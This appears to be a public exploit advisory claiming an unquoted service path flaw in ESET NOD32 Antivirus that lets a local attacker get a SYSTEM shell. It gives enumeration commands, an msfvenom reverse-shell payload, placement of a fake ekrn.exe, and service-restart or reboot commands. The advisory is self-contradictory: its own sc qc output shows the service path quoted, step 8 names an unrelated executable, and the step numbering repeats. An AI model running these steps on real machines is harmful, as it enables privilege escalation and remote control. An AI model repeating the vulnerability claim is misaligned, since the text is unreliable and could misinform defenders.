ESET NOD32 Antivirus 18.0.12.0 Unquoted Service Path

# Exploit Title: ESET NOD32 Antivirus 18.0.12.0 - "ESET Service" UnquotedService Path# Exploit Author: Milad Karimi (Ex3ptionaL)# Exploit Date: 2024-11-02# Contact: [email protected]# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL# MiRROR-H: https://mirror-h.org/search/hacker/49626/# Vendor : https://www.eset.com# Version : 18.0.12.0# Tested on OS: Microsoft Windows 10 pro x64About Unquoted Service Path :==============================When a service is created whose executable path contains spaces and isn'tenclosed within quotes, leads to a vulnerability known as Unquoted ServicePath which allows a user to gain SYSTEM privileges.(only if the vulnerable service is running with SYSTEM privilege levelwhich most of the time it is).Description:==============================ESET NOD32 Antivirus installs a service with an unquoted service path.To properly exploit this vulnerability, the local attacker must insert anexecutable file in the path of the service.Upon service restart or system reboot, the malicious code will be run withelevated privileges.# PoC===========1.  Open CMD and check for the vulnerability by typing [ wmic service getname,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v"c:\windows\\" | findstr /i /v """ ]2.  The vulnerable service would show up.3.  Check the service permissions by typing [ sc qc "ekrn" ]4.  The command would return..C:\Users\Ci3c0>sc qc ekrn[SC] QueryServiceConfig SUCCESSSERVICE_NAME: ekrn        TYPE               : 20  WIN32_SHARE_PROCESS        START_TYPE         : 2   AUTO_START        ERROR_CONTROL      : 1   NORMAL        BINARY_PATH_NAME   : "C:\Program Files\ESET\ESET Security\ekrn.exe"        LOAD_ORDER_GROUP   : Base        TAG                : 0        DISPLAY_NAME       : ESET Service        DEPENDENCIES       :        SERVICE_START_NAME : LocalSystem5.  This concludes that the service is running as SYSTEM.6.  Now create a payload with msfvenom or other tools and name it toekrn.exe.7.  Make sure you have write permissions to "C:\Program Files\ESET\ESETSecurity" directory.8.  Provided that you have right permissions, drop the HDDHealthService.exeexecutable you created into the "C:\Program Files\ESET\ESET Security"directory.9.  Start a listener.9.  Now restart the ekrn service by giving coommand [ sc stop ekrn ]followed by [ sc start ekrn ]9.1 If you cannot stop and start the service, since the service is of type"AUTO_START" we can restart the system by executing [ shutdown /r /t 0 ]and get the shell when the service starts automatically.10. Got shell.During my testing :Payload : msfvenom -p windows/shell_reverse_tcp -f exe -o ekrn.exe# Disclaimer=============The information contained within this advisory is supplied "as-is" with nowarranties or guarantees of fitness of use or otherwise.The author is not responsible for any misuse of the information containedherein and accepts no responsibility for any damage caused by the use ormisuse of this information.The author prohibits any malicious use of security related information orexploits by the author or elsewhere.